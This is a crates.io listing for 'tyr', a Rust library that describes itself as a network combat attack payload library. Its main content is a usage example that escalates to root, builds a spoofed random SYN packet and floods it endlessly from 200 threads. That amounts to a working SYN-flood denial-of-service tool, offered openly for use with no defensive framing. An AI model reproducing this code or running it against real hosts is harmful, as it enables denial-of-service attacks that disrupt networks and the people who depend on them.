| Crates.io | tyr |
| lib.rs | tyr |
| version | 0.1.2 |
| created_at | 2025-01-20 09:27:39.957705+00 |
| updated_at | 2025-02-01 08:04:39.823279+00 |
| description | A high-performance, cross-platform and all-protocol network combat attack payload and policy library |
| homepage | |
| repository | |
| max_upload_size | |
| id | 1523732 |
| size | 81,052 |
Tyr is a high-performance, cross-platform and all-protocol network combat attack payload and policy library.
To use Tyr in your Rust project, add tyr to your Cargo.toml file.
Then, run cargo build to build your project.
Here's a simple example of how to use Tyr to send SYN packets:
use pnet::datalink;
use tyr::error::Error;
use tyr::payload::Payload;
fn main() -> Result<(), Error> {
tyr::rerun_if_not_root()?;
let interface = tyr::interface::get_interface("wlo1").ok_or(Error::InterfaceNotFound)?;
let mut payload = tyr::payload::syn::SYNPayload::random(&interface);
let mut packet = [0u8; 52];
payload.build(&mut packet)?;
let mut handles = vec![];
for _ in 0..200 {
let interface = interface.clone();
if let datalink::Channel::Ethernet(mut tx, _) =
datalink::channel(&interface, Default::default())?
{
let handle: std::thread::JoinHandle<Result<(), Error>> =
std::thread::spawn(move || loop {
tx.send_to(&packet, Some(interface.clone())).unwrap()?;
});
handles.push(handle);
};
}
for handle in handles {
handle.join().unwrap()?;
}
Ok(())
}
Contributions are very welcome! Please read our Contributing Guidelines for more information.
This project is licensed under the AGPL-3.0 License by @Noctisynth, org.